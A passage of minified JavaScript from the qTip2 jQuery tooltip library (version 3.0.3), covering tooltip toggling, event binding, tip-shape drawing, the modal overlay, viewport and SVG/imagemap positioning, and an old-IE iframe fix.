l.autofocus&&d(this.options.show.autofocus,g).focus(),this.options.show.target.trigger("qtip-"+this.id+"-inactive")):g.css({display:"",visibility:"",opacity:"",left:"",top:""}),this._trigger(a?"visible":"hidden")},this),l.effect===E||q===E?(g[k](),j()):d.isFunction(l.effect)?(g.stop(1,1),l.effect.call(g,this),g.queue("fx",function(a){j(),a()})):g.fadeTo(90,a?1:0,j),a&&l.target.trigger("qtip-"+this.id+"-inactive"),this))},z.show=function(a){return this.toggle(D,a)},z.hide=function(a){return this.toggle(E,a)},z.focus=function(a){if(!this.rendered||this.destroyed)return this;var b=d(W),c=this.tooltip,e=parseInt(c[0].style.zIndex,10),f=y.zindex+b.length;return c.hasClass($)||this._trigger("focus",[f],a)&&(e!==f&&(b.each(function(){this.style.zIndex>e&&(this.style.zIndex=this.style.zIndex-1)}),b.filter("."+$).qtip("blur",a)),c.addClass($)[0].style.zIndex=f),this},z.blur=function(a){return!this.rendered||this.destroyed?this:(this.tooltip.removeClass($),this._trigger("blur",[this.tooltip.css("zIndex")],a),this)},z.disable=function(a){return this.destroyed?this:("toggle"===a?a=!(this.rendered?this.tooltip.hasClass(aa):this.disabled):"boolean"!=typeof a&&(a=D),this.rendered&&this.tooltip.toggleClass(aa,a).attr("aria-disabled",a),this.disabled=!!a,this)},z.enable=function(){return this.disable(E)},z._createButton=function(){var a=this,b=this.elements,c=b.tooltip,e=this.options.content.button,f="string"==typeof e,g=f?e:"Close tooltip";b.button&&b.button.remove(),e.jquery?b.button=e:b.button=d("<a />",{"class":"qtip-close "+(this.options.style.widget?"":S+"-icon"),title:g,"aria-label":g}).prepend(d("<span />",{"class":"ui-icon ui-icon-close",html:"&times;"})),b.button.appendTo(b.titlebar||c).attr("role","button").click(function(b){return c.hasClass(aa)||a.hide(b),E})},z._updateButton=function(a){if(!this.rendered)return E;var b=this.elements.button;a?this._createButton():b.remove()},z._setWidget=function(){var a=this.options.style.widget,b=this.elements,c=b.tooltip,d=c.hasClass(aa);c.removeClass(aa),aa=a?"ui-state-disabled":"qtip-disabled",c.toggleClass(aa,d),c.toggleClass("ui-helper-reset "+k(),a).toggleClass(Z,this.options.style.def&&!a),b.content&&b.content.toggleClass(k("content"),a),b.titlebar&&b.titlebar.toggleClass(k("header"),a),b.button&&b.button.toggleClass(S+"-icon",!a)},z._storeMouse=function(a){return(this.mouse=d.event.fix(a)).type="mousemove",this},z._bind=function(a,b,c,e,f){if(a&&c&&b.length){var g="."+this._id+(e?"-"+e:"");return d(a).bind((b.split?b:b.join(g+" "))+g,d.proxy(c,f||this)),this}},z._unbind=function(a,b){return a&&d(a).unbind("."+this._id+(b?"-"+b:"")),this},z._trigger=function(a,b,c){var e=new d.Event("tooltip"+a);return e.originalEvent=c&&d.extend({},c)||this.cache.event||F,this.triggering=a,this.tooltip.trigger(e,[this].concat(b||[])),this.triggering=E,!e.isDefaultPrevented()},z._bindEvents=function(a,b,c,e,f,g){var h=c.filter(e).add(e.filter(c)),i=[];h.length&&(d.each(b,function(b,c){var e=d.inArray(c,a);e>-1&&i.push(a.splice(e,1)[0])}),i.length&&(this._bind(h,i,function(a){var b=this.rendered?this.tooltip[0].offsetWidth>0:!1;(b?g:f).call(this,a)}),c=c.not(h),e=e.not(h))),this._bind(c,a,f),this._bind(e,b,g)},z._assignInitialEvents=function(a){function b(a){return this.disabled||this.destroyed?E:(this.cache.event=a&&d.event.fix(a),this.cache.target=a&&d(a.target),clearTimeout(this.timers.show),void(this.timers.show=l.call(this,function(){this.render("object"==typeof a||c.show.ready)},c.prerender?0:c.show.delay)))}var c=this.options,e=c.show.target,f=c.hide.target,g=c.show.event?d.trim(""+c.show.event).split(" "):[],h=c.hide.event?d.trim(""+c.hide.event).split(" "):[];this._bind(this.elements.target,["remove","removeqtip"],function(){this.destroy(!0)},"destroy"),/mouse(over|enter)/i.test(c.show.event)&&!/mouse(out|leave)/i.test(c.hide.event)&&h.push("mouseleave"),this._bind(e,"mousemove",function(a){this._storeMouse(a),this.cache.onTarget=D}),this._bindEvents(g,h,e,f,b,function(){return this.timers?void clearTimeout(this.timers.show):E}),(c.show.ready||c.prerender)&&b.call(this,a)},z._assignEvents=function(){var c=this,e=this.options,f=e.position,g=this.tooltip,h=e.show.target,i=e.hide.target,j=f.container,k=f.viewport,l=d(b),q=d(a),r=e.show.event?d.trim(""+e.show.event).split(" "):[],s=e.hide.event?d.trim(""+e.hide.event).split(" "):[];d.each(e.events,function(a,b){c._bind(g,"toggle"===a?["tooltipshow","tooltiphide"]:["tooltip"+a],b,null,g)}),/mouse(out|leave)/i.test(e.hide.event)&&"window"===e.hide.leave&&this._bind(l,["mouseout","blur"],function(a){/select|option/.test(a.target.nodeName)||a.relatedTarget||this.hide(a)}),e.hide.fixed?i=i.add(g.addClass(Y)):/mouse(over|enter)/i.test(e.show.event)&&this._bind(i,"mouseleave",function(){clearTimeout(this.timers.show)}),(""+e.hide.event).indexOf("unfocus")>-1&&this._bind(j.closest("html"),["mousedown","touchstart"],function(a){var b=d(a.target),c=this.rendered&&!this.tooltip.hasClass(aa)&&this.tooltip[0].offsetWidth>0,e=b.parents(W).filter(this.tooltip[0]).length>0;b[0]===this.target[0]||b[0]===this.tooltip[0]||e||this.target.has(b[0]).length||!c||this.hide(a)}),"number"==typeof e.hide.inactive&&(this._bind(h,"qtip-"+this.id+"-inactive",o,"inactive"),this._bind(i.add(g),y.inactiveEvents,o)),this._bindEvents(r,s,h,i,m,n),this._bind(h.add(g),"mousemove",function(a){if("number"==typeof e.hide.distance){var b=this.cache.origin||{},c=this.options.hide.distance,d=Math.abs;(d(a.pageX-b.pageX)>=c||d(a.pageY-b.pageY)>=c)&&this.hide(a)}this._storeMouse(a)}),"mouse"===f.target&&f.adjust.mouse&&(e.hide.event&&this._bind(h,["mouseenter","mouseleave"],function(a){return this.cache?void(this.cache.onTarget="mouseenter"===a.type):E}),this._bind(l,"mousemove",function(a){this.rendered&&this.cache.onTarget&&!this.tooltip.hasClass(aa)&&this.tooltip[0].offsetWidth>0&&this.reposition(a)})),(f.adjust.resize||k.length)&&this._bind(d.event.special.resize?k:q,"resize",p),f.adjust.scroll&&this._bind(q.add(f.container),"scroll",p)},z._unassignEvents=function(){var c=this.options,e=c.show.target,f=c.hide.target,g=d.grep([this.elements.target[0],this.rendered&&this.tooltip[0],c.position.container[0],c.position.viewport[0],c.position.container.closest("html")[0],a,b],function(a){return"object"==typeof a});e&&e.toArray&&(g=g.concat(e.toArray())),f&&f.toArray&&(g=g.concat(f.toArray())),this._unbind(g)._unbind(g,"destroy")._unbind(g,"inactive")},d(function(){q(W,["mouseenter","mouseleave"],function(a){var b="mouseenter"===a.type,c=d(a.currentTarget),e=d(a.relatedTarget||a.target),f=this.options;b?(this.focus(a),c.hasClass(Y)&&!c.hasClass(aa)&&clearTimeout(this.timers.hide)):"mouse"===f.position.target&&f.position.adjust.mouse&&f.hide.event&&f.show.target&&!e.closest(f.show.target[0]).length&&this.hide(a),c.toggleClass(_,b)}),q("["+U+"]",X,o)}),y=d.fn.qtip=function(a,b,e){var f=(""+a).toLowerCase(),g=F,i=d.makeArray(arguments).slice(1),j=i[i.length-1],k=this[0]?d.data(this[0],S):F;return!arguments.length&&k||"api"===f?k:"string"==typeof a?(this.each(function(){var a=d.data(this,S);if(!a)return D;if(j&&j.timeStamp&&(a.cache.event=j),!b||"option"!==f&&"options"!==f)a[f]&&a[f].apply(a,i);else{if(e===c&&!d.isPlainObject(b))return g=a.get(b),E;a.set(b,e)}}),g!==F?g:this):"object"!=typeof a&&arguments.length?void 0:(k=h(d.extend(D,{},a)),this.each(function(a){var b,c;return c=d.isArray(k.id)?k.id[a]:k.id,c=!c||c===E||c.length<1||y.api[c]?y.nextid++:c,b=r(d(this),c,k),b===E?D:(y.api[c]=b,d.each(R,function(){"initialize"===this.initialize&&this(b)}),void b._assignInitialEvents(j))}))},d.qtip=e,y.api={},d.each({attr:function(a,b){if(this.length){var c=this[0],e="title",f=d.data(c,"qtip");if(a===e&&f&&f.options&&"object"==typeof f&&"object"==typeof f.options&&f.options.suppress)return arguments.length<2?d.attr(c,ca):(f&&f.options.content.attr===e&&f.cache.attr&&f.set("content.text",b),this.attr(ca,b))}return d.fn["attr"+ba].apply(this,arguments)},clone:function(a){var b=d.fn["clone"+ba].apply(this,arguments);return a||b.filter("["+ca+"]").attr("title",function(){return d.attr(this,ca)}).removeAttr(ca),b}},function(a,b){if(!b||d.fn[a+ba])return D;var c=d.fn[a+ba]=d.fn[a];d.fn[a]=function(){return b.apply(this,arguments)||c.apply(this,arguments)}}),d.ui||(d["cleanData"+ba]=d.cleanData,d.cleanData=function(a){for(var b,c=0;(b=d(a[c])).length;c++)if(b.attr(T))try{b.triggerHandler("removeqtip")}catch(e){}d["cleanData"+ba].apply(this,arguments)}),y.version="3.0.3",y.nextid=0,y.inactiveEvents=X,y.zindex=15e3,y.defaults={prerender:E,id:E,overwrite:D,suppress:D,content:{text:D,attr:"title",title:E,button:E},position:{my:"top left",at:"bottom right",target:E,container:E,viewport:E,adjust:{x:0,y:0,mouse:D,scroll:D,resize:D,method:"flipinvert flipinvert"},effect:function(a,b){d(this).animate(b,{duration:200,queue:E})}},show:{target:E,event:"mouseenter",effect:D,delay:90,solo:E,ready:E,autofocus:E},hide:{target:E,event:"mouseleave",effect:D,delay:0,fixed:E,inactive:E,leave:"window",distance:E},style:{classes:"",widget:E,width:E,height:E,def:D},events:{render:F,move:F,show:F,hide:F,toggle:F,visible:F,hidden:F,focus:F,blur:F}};var ha,ia,ja,ka,la,ma="margin",na="border",oa="color",pa="background-color",qa="transparent",ra=" !important",sa=!!b.createElement("canvas").getContext,ta=/rgba?\(0, 0, 0(, 0)?\)|transparent|#123456/i,ua={},va=["Webkit","O","Moz","ms"];sa?(ka=a.devicePixelRatio||1,la=function(){var a=b.createElement("canvas").getContext("2d");return a.backingStorePixelRatio||a.webkitBackingStorePixelRatio||a.mozBackingStorePixelRatio||a.msBackingStorePixelRatio||a.oBackingStorePixelRatio||1}(),ja=ka/la):ia=function(a,b,c){return"<qtipvml:"+a+' xmlns="urn:schemas-microsoft.com:vml" class="qtip-vml" '+(b||"")+' style="behavior: url(#default#VML); '+(c||"")+'" />'},d.extend(v.prototype,{init:function(a){var b,c;c=this.element=a.elements.tip=d("<div />",{"class":S+"-tip"}).prependTo(a.tooltip),sa?(b=d("<canvas />").appendTo(this.element)[0].getContext("2d"),b.lineJoin="miter",b.miterLimit=1e5,b.save()):(b=ia("shape",'coordorigin="0,0"',"position:absolute;"),this.element.html(b+b),a._bind(d("*",c).add(c),["click","mousedown"],function(a){a.stopPropagation()},this._ns)),a._bind(a.tooltip,"tooltipmove",this.reposition,this._ns,this),this.create()},_swapDimensions:function(){this.size[0]=this.options.height,this.size[1]=this.options.width},_resetDimensions:function(){this.size[0]=this.options.width,this.size[1]=this.options.height},_useTitle:function(a){var b=this.qtip.elements.titlebar;return b&&(a.y===K||a.y===O&&this.element.position().top+this.size[1]/2+this.options.offset<b.outerHeight(D))},_parseCorner:function(a){var b=this.qtip.options.position.my;return a===E||b===E?a=E:a===D?a=new A(b.string()):a.string||(a=new A(a),a.fixed=D),a},_parseWidth:function(a,b,c){var d=this.qtip.elements,e=na+s(b)+"Width";return(c?u(c,e):u(d.content,e)||u(this._useTitle(a)&&d.titlebar||d.content,e)||u(d.tooltip,e))||0},_parseRadius:function(a){var b=this.qtip.elements,c=na+s(a.y)+s(a.x)+"Radius";return da.ie<9?0:u(this._useTitle(a)&&b.titlebar||b.content,c)||u(b.tooltip,c)||0},_invalidColour:function(a,b,c){var d=a.css(b);return!d||c&&d===a.css(c)||ta.test(d)?E:d},_parseColours:function(a){var b=this.qtip.elements,c=this.element.css("cssText",""),e=na+s(a[a.precedance])+s(oa),f=this._useTitle(a)&&b.titlebar||b.content,g=this._invalidColour,h=[];return h[0]=g(c,pa)||g(f,pa)||g(b.content,pa)||g(b.tooltip,pa)||c.css(pa),h[1]=g(c,e,oa)||g(f,e,oa)||g(b.content,e,oa)||g(b.tooltip,e,oa)||b.tooltip.css(e),d("*",c).add(c).css("cssText",pa+":"+qa+ra+";"+na+":0"+ra+";"),h},_calculateSize:function(a){var b,c,d,e=a.precedance===H,f=this.options.width,g=this.options.height,h="c"===a.abbrev(),i=(e?f:g)*(h?.5:1),j=Math.pow,k=Math.round,l=Math.sqrt(j(i,2)+j(g,2)),m=[this.border/i*l,this.border/g*l];return m[2]=Math.sqrt(j(m[0],2)-j(this.border,2)),m[3]=Math.sqrt(j(m[1],2)-j(this.border,2)),b=l+m[2]+m[3]+(h?0:m[0]),c=b/l,d=[k(c*f),k(c*g)],e?d:d.reverse()},_calculateTip:function(a,b,c){c=c||1,b=b||this.size;var d=b[0]*c,e=b[1]*c,f=Math.ceil(d/2),g=Math.ceil(e/2),h={br:[0,0,d,e,d,0],bl:[0,0,d,0,0,e],tr:[0,e,d,0,d,e],tl:[0,0,0,e,d,e],tc:[0,e,f,0,d,e],bc:[0,0,d,0,f,e],rc:[0,0,d,g,0,e],lc:[d,0,d,e,0,g]};return h.lt=h.br,h.rt=h.bl,h.lb=h.tr,h.rb=h.tl,h[a.abbrev()]},_drawCoords:function(a,b){a.beginPath(),a.moveTo(b[0],b[1]),a.lineTo(b[2],b[3]),a.lineTo(b[4],b[5]),a.closePath()},create:function(){var a=this.corner=(sa||da.ie)&&this._parseCorner(this.options.corner);return this.enabled=!!this.corner&&"c"!==this.corner.abbrev(),this.enabled&&(this.qtip.cache.corner=a.clone(),this.update()),this.element.toggle(this.enabled),this.corner},update:function(b,c){if(!this.enabled)return this;var e,f,g,h,i,j,k,l,m=this.qtip.elements,n=this.element,o=n.children(),p=this.options,q=this.size,r=p.mimic,s=Math.round;b||(b=this.qtip.cache.corner||this.corner),r===E?r=b:(r=new A(r),r.precedance=b.precedance,"inherit"===r.x?r.x=b.x:"inherit"===r.y?r.y=b.y:r.x===r.y&&(r[b.precedance]=b[b.precedance])),f=r.precedance,b.precedance===G?this._swapDimensions():this._resetDimensions(),e=this.color=this._parseColours(b),e[1]!==qa?(l=this.border=this._parseWidth(b,b[b.precedance]),p.border&&1>l&&!ta.test(e[1])&&(e[0]=e[1]),this.border=l=p.border!==D?p.border:l):this.border=l=0,k=this.size=this._calculateSize(b),n.css({width:k[0],height:k[1],lineHeight:k[1]+"px"}),j=b.precedance===H?[s(r.x===L?l:r.x===N?k[0]-q[0]-l:(k[0]-q[0])/2),s(r.y===K?k[1]-q[1]:0)]:[s(r.x===L?k[0]-q[0]:0),s(r.y===K?l:r.y===M?k[1]-q[1]-l:(k[1]-q[1])/2)],sa?(g=o[0].getContext("2d"),g.restore(),g.save(),g.clearRect(0,0,6e3,6e3),h=this._calculateTip(r,q,ja),i=this._calculateTip(r,this.size,ja),o.attr(I,k[0]*ja).attr(J,k[1]*ja),o.css(I,k[0]).css(J,k[1]),this._drawCoords(g,i),g.fillStyle=e[1],g.fill(),g.translate(j[0]*ja,j[1]*ja),this._drawCoords(g,h),g.fillStyle=e[0],g.fill()):(h=this._calculateTip(r),h="m"+h[0]+","+h[1]+" l"+h[2]+","+h[3]+" "+h[4]+","+h[5]+" xe",j[2]=l&&/^(r|b)/i.test(b.string())?8===da.ie?2:1:0,o.css({coordsize:k[0]+l+" "+k[1]+l,antialias:""+(r.string().indexOf(O)>-1),left:j[0]-j[2]*Number(f===G),top:j[1]-j[2]*Number(f===H),width:k[0]+l,height:k[1]+l}).each(function(a){var b=d(this);b[b.prop?"prop":"attr"]({coordsize:k[0]+l+" "+k[1]+l,path:h,fillcolor:e[0],filled:!!a,stroked:!a}).toggle(!(!l&&!a)),!a&&b.html(ia("stroke",'weight="'+2*l+'px" color="'+e[1]+'" miterlimit="1000" joinstyle="miter"'))})),a.opera&&setTimeout(function(){m.tip.css({display:"inline-block",visibility:"visible"})},1),c!==E&&this.calculate(b,k)},calculate:function(a,b){if(!this.enabled)return E;var c,e,f=this,g=this.qtip.elements,h=this.element,i=this.options.offset,j={};

 return a=a||this.corner,c=a.precedance,b=b||this._calculateSize(a),e=[a.x,a.y],c===G&&e.reverse(),d.each(e,function(d,e){var h,k,l;e===O?(h=c===H?L:K,j[h]="50%",j[ma+"-"+h]=-Math.round(b[c===H?0:1]/2)+i):(h=f._parseWidth(a,e,g.tooltip),k=f._parseWidth(a,e,g.content),l=f._parseRadius(a),j[e]=Math.max(-f.border,d?k:i+(l>h?l:-h)))}),j[a[c]]-=b[c===G?0:1],h.css({margin:"",top:"",bottom:"",left:"",right:""}).css(j),j},reposition:function(a,b,d){function e(a,b,c,d,e){a===Q&&j.precedance===b&&k[d]&&j[c]!==O?j.precedance=j.precedance===G?H:G:a!==Q&&k[d]&&(j[b]=j[b]===O?k[d]>0?d:e:j[b]===d?e:d)}function f(a,b,e){j[a]===O?p[ma+"-"+b]=o[a]=g[ma+"-"+b]-k[b]:(h=g[e]!==c?[k[b],-g[b]]:[-k[b],g[b]],(o[a]=Math.max(h[0],h[1]))>h[0]&&(d[b]-=k[b],o[b]=E),p[g[e]!==c?e:b]=o[a])}if(this.enabled){var g,h,i=b.cache,j=this.corner.clone(),k=d.adjusted,l=b.options.position.adjust.method.split(" "),m=l[0],n=l[1]||l[0],o={left:E,top:E,x:0,y:0},p={};this.corner.fixed!==D&&(e(m,G,H,L,N),e(n,H,G,K,M),j.string()===i.corner.string()&&i.cornerTop===k.top&&i.cornerLeft===k.left||this.update(j,E)),g=this.calculate(j),g.right!==c&&(g.left=-g.right),g.bottom!==c&&(g.top=-g.bottom),g.user=this.offset,o.left=m===Q&&!!k.left,o.left&&f(G,L,N),o.top=n===Q&&!!k.top,o.top&&f(H,K,M),this.element.css(p).toggle(!(o.x&&o.y||j.x===O&&o.y||j.y===O&&o.x)),d.left-=g.left.charAt?g.user:m!==Q||o.top||!o.left&&!o.top?g.left+this.border:0,d.top-=g.top.charAt?g.user:n!==Q||o.left||!o.left&&!o.top?g.top+this.border:0,i.cornerLeft=k.left,i.cornerTop=k.top,i.corner=j.clone()}},destroy:function(){this.qtip._unbind(this.qtip.tooltip,this._ns),this.qtip.elements.tip&&this.qtip.elements.tip.find("*").remove().end().remove()}}),ha=R.tip=function(a){return new v(a,a.options.style.tip)},ha.initialize="render",ha.sanitize=function(a){if(a.style&&"tip"in a.style){var b=a.style.tip;"object"!=typeof b&&(b=a.style.tip={corner:b}),/string|boolean/i.test(typeof b.corner)||(b.corner=D)}},B.tip={"^position.my|style.tip.(corner|mimic|border)$":function(){this.create(),this.qtip.reposition()},"^style.tip.(height|width)$":function(a){this.size=[a.width,a.height],this.update(),this.qtip.reposition()},"^content.title|style.(classes|widget)$":function(){this.update()}},d.extend(D,y.defaults,{style:{tip:{corner:D,mimic:E,width:6,height:6,border:D,offset:0}}});var wa,xa,ya="qtip-modal",za="."+ya;xa=function(){function a(a){if(d.expr[":"].focusable)return d.expr[":"].focusable;var b,c,e,f=!isNaN(d.attr(a,"tabindex")),g=a.nodeName&&a.nodeName.toLowerCase();return"area"===g?(b=a.parentNode,c=b.name,a.href&&c&&"map"===b.nodeName.toLowerCase()?(e=d("img[usemap=#"+c+"]")[0],!!e&&e.is(":visible")):!1):/input|select|textarea|button|object/.test(g)?!a.disabled:"a"===g?a.href||f:f}function c(a){j.length<1&&a.length?a.not("body").blur():j.first().focus()}function e(a){if(h.is(":visible")){var b,e=d(a.target),g=f.tooltip,i=e.closest(W);b=i.length<1?E:parseInt(i[0].style.zIndex,10)>parseInt(g[0].style.zIndex,10),b||e.closest(W)[0]===g[0]||c(e)}}var f,g,h,i=this,j={};d.extend(i,{init:function(){return h=i.elem=d("<div />",{id:"qtip-overlay",html:"<div></div>",mousedown:function(){return E}}).hide(),d(b.body).bind("focusin"+za,e),d(b).bind("keydown"+za,function(a){f&&f.options.show.modal.escape&&27===a.keyCode&&f.hide(a)}),h.bind("click"+za,function(a){f&&f.options.show.modal.blur&&f.hide(a)}),i},update:function(b){f=b,j=b.options.show.modal.stealfocus!==E?b.tooltip.find("*").filter(function(){return a(this)}):[]},toggle:function(a,e,j){var k=a.tooltip,l=a.options.show.modal,m=l.effect,n=e?"show":"hide",o=h.is(":visible"),p=d(za).filter(":visible:not(:animated)").not(k);return i.update(a),e&&l.stealfocus!==E&&c(d(":focus")),h.toggleClass("blurs",l.blur),e&&h.appendTo(b.body),h.is(":animated")&&o===e&&g!==E||!e&&p.length?i:(h.stop(D,E),d.isFunction(m)?m.call(h,e):m===E?h[n]():h.fadeTo(parseInt(j,10)||90,e?1:0,function(){e||h.hide()}),e||h.queue(function(a){h.css({left:"",top:""}),d(za).length||h.detach(),a()}),g=e,f.destroyed&&(f=F),i)}}),i.init()},xa=new xa,d.extend(w.prototype,{init:function(a){var b=a.tooltip;return this.options.on?(a.elements.overlay=xa.elem,b.addClass(ya).css("z-index",y.modal_zindex+d(za).length),a._bind(b,["tooltipshow","tooltiphide"],function(a,c,e){var f=a.originalEvent;if(a.target===b[0])if(f&&"tooltiphide"===a.type&&/mouse(leave|enter)/.test(f.type)&&d(f.relatedTarget).closest(xa.elem[0]).length)try{a.preventDefault()}catch(g){}else(!f||f&&"tooltipsolo"!==f.type)&&this.toggle(a,"tooltipshow"===a.type,e)},this._ns,this),a._bind(b,"tooltipfocus",function(a,c){if(!a.isDefaultPrevented()&&a.target===b[0]){var e=d(za),f=y.modal_zindex+e.length,g=parseInt(b[0].style.zIndex,10);xa.elem[0].style.zIndex=f-1,e.each(function(){this.style.zIndex>g&&(this.style.zIndex-=1)}),e.filter("."+$).qtip("blur",a.originalEvent),b.addClass($)[0].style.zIndex=f,xa.update(c);try{a.preventDefault()}catch(h){}}},this._ns,this),void a._bind(b,"tooltiphide",function(a){a.target===b[0]&&d(za).filter(":visible").not(b).last().qtip("focus",a)},this._ns,this)):this},toggle:function(a,b,c){return a&&a.isDefaultPrevented()?this:void xa.toggle(this.qtip,!!b,c)},destroy:function(){this.qtip.tooltip.removeClass(ya),this.qtip._unbind(this.qtip.tooltip,this._ns),xa.toggle(this.qtip,E),delete this.qtip.elements.overlay}}),wa=R.modal=function(a){return new w(a,a.options.show.modal)},wa.sanitize=function(a){a.show&&("object"!=typeof a.show.modal?a.show.modal={on:!!a.show.modal}:"undefined"==typeof a.show.modal.on&&(a.show.modal.on=D))},y.modal_zindex=y.zindex-200,wa.initialize="render",B.modal={"^show.modal.(on|blur)$":function(){this.destroy(),this.init(),this.qtip.elems.overlay.toggle(this.qtip.tooltip[0].offsetWidth>0)}},d.extend(D,y.defaults,{show:{modal:{on:E,effect:D,blur:D,stealfocus:D,escape:D}}}),R.viewport=function(c,d,e,f,g,h,i){function j(a,b,c,e,f,g,h,i,j){var k=d[f],s=u[a],t=v[a],w=c===Q,x=s===f?j:s===g?-j:-j/2,y=t===f?i:t===g?-i:-i/2,z=q[f]+r[f]-(n?0:m[f]),A=z-k,B=k+j-(h===I?o:p)-z,C=x-(u.precedance===a||s===u[b]?y:0)-(t===O?i/2:0);return w?(C=(s===f?1:-1)*x,d[f]+=A>0?A:B>0?-B:0,d[f]=Math.max(-m[f]+r[f],k-C,Math.min(Math.max(-m[f]+r[f]+(h===I?o:p),k+C),d[f],"center"===s?k-x:1e9))):(e*=c===P?2:0,A>0&&(s!==f||B>0)?(d[f]-=C+e,l.invert(a,f)):B>0&&(s!==g||A>0)&&(d[f]-=(s===O?-C:C)+e,l.invert(a,g)),d[f]<q[f]&&-d[f]>B&&(d[f]=k,l=u.clone())),d[f]-k}var k,l,m,n,o,p,q,r,s=e.target,t=c.elements.tooltip,u=e.my,v=e.at,w=e.adjust,x=w.method.split(" "),y=x[0],z=x[1]||x[0],A=e.viewport,B=e.container,C={left:0,top:0};return A.jquery&&s[0]!==a&&s[0]!==b.body&&"none"!==w.method?(m=B.offset()||C,n="static"===B.css("position"),k="fixed"===t.css("position"),o=A[0]===a?A.width():A.outerWidth(E),p=A[0]===a?A.height():A.outerHeight(E),q={left:k?0:A.scrollLeft(),top:k?0:A.scrollTop()},r = A[0] !== window && A.offset()||C,"shift"===y&&"shift"===z||(l=u.clone()),C={left:"none"!==y?j(G,H,y,w.x,L,N,I,f,h):0,top:"none"!==z?j(H,G,z,w.y,K,M,J,g,i):0,my:l}):C},R.polys={polygon:function(a,b){var c,d,e,f={width:0,height:0,position:{top:1e10,right:0,bottom:0,left:1e10},adjustable:E},g=0,h=[],i=1,j=1,k=0,l=0;for(g=a.length;g--;)c=[parseInt(a[--g],10),parseInt(a[g+1],10)],c[0]>f.position.right&&(f.position.right=c[0]),c[0]<f.position.left&&(f.position.left=c[0]),c[1]>f.position.bottom&&(f.position.bottom=c[1]),c[1]<f.position.top&&(f.position.top=c[1]),h.push(c);if(d=f.width=Math.abs(f.position.right-f.position.left),e=f.height=Math.abs(f.position.bottom-f.position.top),"c"===b.abbrev())f.position={left:f.position.left+f.width/2,top:f.position.top+f.height/2};else{for(;d>0&&e>0&&i>0&&j>0;)for(d=Math.floor(d/2),e=Math.floor(e/2),b.x===L?i=d:b.x===N?i=f.width-d:i+=Math.floor(d/2),b.y===K?j=e:b.y===M?j=f.height-e:j+=Math.floor(e/2),g=h.length;g--&&!(h.length<2);)k=h[g][0]-f.position.left,l=h[g][1]-f.position.top,(b.x===L&&k>=i||b.x===N&&i>=k||b.x===O&&(i>k||k>f.width-i)||b.y===K&&l>=j||b.y===M&&j>=l||b.y===O&&(j>l||l>f.height-j))&&h.splice(g,1);f.position={left:h[0][0],top:h[0][1]}}return f},rect:function(a,b,c,d){return{width:Math.abs(c-a),height:Math.abs(d-b),position:{left:Math.min(a,c),top:Math.min(b,d)}}},_angles:{tc:1.5,tr:7/4,tl:5/4,bc:.5,br:.25,bl:.75,rc:2,lc:1,c:0},ellipse:function(a,b,c,d,e){var f=R.polys._angles[e.abbrev()],g=0===f?0:c*Math.cos(f*Math.PI),h=d*Math.sin(f*Math.PI);return{width:2*c-Math.abs(g),height:2*d-Math.abs(h),position:{left:a+g,top:b+h},adjustable:E}},circle:function(a,b,c,d){return R.polys.ellipse(a,b,c,c,d)}},R.svg=function(a,c,e){for(var f,g,h,i,j,k,l,m,n,o=c[0],p=d(o.ownerSVGElement),q=o.ownerDocument,r=(parseInt(c.css("stroke-width"),10)||0)/2;!o.getBBox;)o=o.parentNode;if(!o.getBBox||!o.parentNode)return E;switch(o.nodeName){case"ellipse":case"circle":m=R.polys.ellipse(o.cx.baseVal.value,o.cy.baseVal.value,(o.rx||o.r).baseVal.value+r,(o.ry||o.r).baseVal.value+r,e);break;case"line":case"polygon":case"polyline":for(l=o.points||[{x:o.x1.baseVal.value,y:o.y1.baseVal.value},{x:o.x2.baseVal.value,y:o.y2.baseVal.value}],m=[],k=-1,i=l.numberOfItems||l.length;++k<i;)j=l.getItem?l.getItem(k):l[k],m.push.apply(m,[j.x,j.y]);m=R.polys.polygon(m,e);break;default:m=o.getBBox(),m={width:m.width,height:m.height,position:{left:m.x,top:m.y}}}return n=m.position,p=p[0],p.createSVGPoint&&(g=o.getScreenCTM(),l=p.createSVGPoint(),l.x=n.left,l.y=n.top,h=l.matrixTransform(g),n.left=h.x,n.top=h.y),q!==b&&"mouse"!==a.position.target&&(f=d((q.defaultView||q.parentWindow).frameElement).offset(),f&&(n.left+=f.left,n.top+=f.top)),q=d(q),n.left+=q.scrollLeft(),n.top+=q.scrollTop(),m},R.imagemap=function(a,b,c){b.jquery||(b=d(b));var e,f,g,h,i,j=(b.attr("shape")||"rect").toLowerCase().replace("poly","polygon"),k=d('img[usemap="#'+b.parent("map").attr("name")+'"]'),l=d.trim(b.attr("coords")),m=l.replace(/,$/,"").split(",");if(!k.length)return E;if("polygon"===j)h=R.polys.polygon(m,c);else{if(!R.polys[j])return E;for(g=-1,i=m.length,f=[];++g<i;)f.push(parseInt(m[g],10));h=R.polys[j].apply(this,f.concat(c))}return e=k.offset(),e.left+=Math.ceil((k.outerWidth(E)-k.width())/2),e.top+=Math.ceil((k.outerHeight(E)-k.height())/2),h.position.left+=e.left,h.position.top+=e.top,h};var Aa,Ba='<iframe class="qtip-bgiframe" frameborder="0" tabindex="-1" src="javascript:\'\';"  style="display:block; position:absolute; z-index:-1; filter:alpha(opacity=0); -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";"></iframe>';d.extend(x.prototype,{_scroll:function(){var b=this.qtip.elements.overlay;b&&(b[0].style.top=d(a).scrollTop()+"px")},init:function(c){var e=c.tooltip;d("select, object").length<1&&(this.bgiframe=c.elements.bgiframe=d(Ba).appendTo(e),c._bind(e,"tooltipmove",this.adjustBGIFrame,this._ns,this)),this.redrawContainer=d("<div/>",{id:S+"-rcontainer"}).appendTo(b.body),c.elements.overlay&&c.elements.overlay.addClass("qtipmodal-ie6fix")&&(c._bind(a,["scroll","resize"],this._scroll,this._ns,this),c._bind(e,["tooltipshow"],this._scroll,this._ns,this)),this.redraw()},adjustBGIFrame:function(){var a,b,c=this.qtip.tooltip,d={height:c.outerHeight(E),width:c.outerWidth(E)},e=this.qtip.plugins.tip,f=this.qtip.elements.tip;b=parseInt(c.css("borderLeftWidth"),10)||0,b={left:-b,top:-b},e&&f&&(a="x"===e.corner.precedance?[I,L]:[J,K],b[a[1]]-=f[a[0]]()),this.bgiframe.css(b).css(d)},redraw:function(){if(this.qtip.rendered<1||this.drawing)return this;var a,b,c,d,e=this.qtip.tooltip,f=this.qtip.options.style,g=this.qtip.options.position.container;return 